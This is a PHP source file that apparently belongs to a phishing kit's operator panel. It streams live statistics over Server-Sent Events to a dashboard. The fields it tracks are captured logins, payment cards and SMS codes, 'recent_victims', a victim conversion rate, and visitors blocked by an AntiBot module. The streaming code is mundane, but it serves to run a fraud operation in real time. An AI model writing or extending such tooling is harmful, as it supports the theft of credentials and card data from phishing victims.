<?php
/**
 * Server-Sent Events (SSE) for Real-Time Updates
 * Pushes live data to dashboard without page refresh
 */

require_once 'auth.php';
require_once __DIR__ . '/../includes/Cache.php';
require_once __DIR__ . '/../includes/AntiBot.php';
require_once __DIR__ . '/../includes/Analytics.php';

// Set headers for SSE
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
header('X-Accel-Buffering: no'); // Disable nginx buffering

// Prevent timeout
set_time_limit(0);
ini_set('max_execution_time', 0);

// Function to send SSE message
function sendSSE($data) {
    echo "data: " . json_encode($data) . "\n\n";
    ob_flush();
    flush();
}

// Keep connection alive
$lastUpdate = 0;
$updateInterval = 5; // Update every 5 seconds

while (true) {
    $currentTime = time();
    
    // Send update if interval passed
    if ($currentTime - $lastUpdate >= $updateInterval) {
        try {
            // Get fresh statistics
            Cache::delete('analytics_stats'); // Force refresh
            $stats = Analytics::getStats();
            
            // Prepare data
            $data = [
                'timestamp' => $currentTime,
                'stats' => [
                    'total_visits' => $stats['total_visits'],
                    'total_logins' => $stats['total_logins'],
                    'total_cards' => $stats['total_cards'],
                    'total_sms' => $stats['total_sms'],
                    'total_blocked' => $stats['total_blocked'],
                    'conversion_rate' => $stats['conversion_rate']
                ],
                'recent_victims' => array_slice($stats['recent_victims'], 0, 5),
                'active_count' => count(array_filter($stats['recent_victims'], function($v) {
                    return (time() - strtotime($v['time'])) < 300; // Last 5 minutes
                }))
            ];
            
            sendSSE($data);
            $lastUpdate = $currentTime;
            
        } catch (Exception $e) {
            sendSSE(['error' => $e->getMessage()]);
        }
    }
    
    // Sleep for 1 second
    sleep(1);
    
    // Check if connection is still alive
    if (connection_aborted()) {
        break;
    }
}
